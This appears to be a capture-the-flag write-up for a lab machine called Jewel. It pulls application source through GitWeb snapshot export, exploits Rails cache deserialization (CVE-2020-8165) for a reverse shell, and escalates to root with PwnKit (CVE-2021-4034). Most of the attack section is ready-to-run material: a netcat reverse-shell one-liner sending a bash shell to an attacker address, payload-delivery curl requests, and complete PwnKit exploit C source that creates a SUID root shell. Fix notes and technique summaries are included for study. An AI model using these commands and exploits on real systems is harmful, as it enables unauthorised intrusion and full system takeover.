Jewel
Summary
The target ran a Rails 5.2.2.1 blog application on port 8080 and a GitWeb source-hosting service on port 8000. GitWeb's anonymous snapshot-export feature was left on by default, letting any visitor download the entire application source in a single request. Source review confirmed the app cached a user-controlled username field in Redis with Rails' raw: true option — the exact pattern exploited by CVE-2020-8165 — in which the server calls Marshal.load directly on the stored bytes instead of safe JSON parsing.
I self-registered, serialized an ActiveSupport ERB gadget chain as the cache entry, and delivered it via the profile-update endpoint; the next page load triggered deserialization and yielded a reverse shell as system user bill. Post-exploitation enumeration found the SUID pkexec binary installed from an unpatched version of Polkit; CVE-2021-4034 (PwnKit) was exploited by compiling a malicious shared object and calling pkexec with an empty argument list, causing it to load my code with root privileges and completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PAYLOAD="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET jewel.htb" | sudo tee -a /etc/hostsnmap -Pn -sV -p22,8000,8080 $TARGETcurl -si 'http://jewel.htb:8000/' | grep -i 'location\|server'Exact commands 3
curl -s 'http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' -o repo.tgzmkdir src && tar xzf repo.tgz -C src --strip-components=1grep -E '^ {4}rails ' src/Gemfile.lockFixDisable anonymous GitWeb snapshot export to prevent source-code disclosureHigh
Exact commands 2
grep -n 'cache\|raw\|current_user' src/app/controllers/application_controller.rbgrep -n 'username\|password_digest' src/db/schema.rbExact commands 3
curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/signup' -d "user[username]=$USERNAME&user[email]=$USERNAME@local.com&user[password]=$PASSWORD"curl -c c.jar -b c.jar -X POST 'http://jewel.htb:8080/login' -d "user[email]=$USERNAME@local.com&user[password]=$PASSWORD" -L -o home.htmlTOKEN=$(curl -s -b c.jar 'http://jewel.htb:8080/users/edit' | grep -oP 'name="authenticity_token" value="\K[^"]+'); USER_ID=$(curl -s -b c.jar 'http://jewel.htb:8080/' | grep -oP 'href="/users/\K[0-9]+' | head -1); echo "TOKEN=$TOKEN USER_ID=$USER_ID"Exact commands 5
nc -lvnp 4444ruby make_payload.rb "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f"curl -b c.jar -c c.jar -X PUT "http://jewel.htb:8080/users/${USER_ID}" --data-urlencode "authenticity_token=${TOKEN}" --data-urlencode "user[username]=${PAYLOAD}"curl -b c.jar 'http://jewel.htb:8080/'id; cat /home/bill/user.txtFixUpgrade Rails and eliminate raw cache deserialization to close CVE-2020-8165Critical
Exact commands 3
find / -perm -4000 -user root -type f 2>/dev/nulldpkg -l policykit-1ls -la /usr/bin/pkexecExact commands 5
mkdir -p /tmp/pk && cd /tmp/pkcat > pwn.c <<'EOF'
#include <unistd.h>
int main(){ char *a[]={NULL}; char *e[]={"exploit","PATH=GCONV_PATH=.","CHARSET=PWNKIT","SHELL=pwnkit",NULL};
execve("/usr/bin/pkexec", a, e); return 0; }
EOF
gcc pwn.c -o pwncat > pwnkit.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
setuid(0); setgid(0); seteuid(0); setegid(0);
system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash");
_exit(0);
}
EOF
mkdir -p exploit
printf 'module UTF-8// PWNKIT// exploit 2\n' > exploit/gconv-modules
gcc -shared -fPIC pwnkit.c -o exploit/exploit.so
touch 'GCONV_PATH=./exploit' && chmod +x 'GCONV_PATH=./exploit'./pwn/tmp/rootbash -p -c 'id; cat /root/root.txt'FixPatch Polkit to remediate PwnKit local privilege escalation (CVE-2021-4034)Critical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 8000/tcp | http Apache httpd 2.4.38 |
| 8080/tcp | http nginx 1.14.2 (Phusion Passenger 6.0.6) |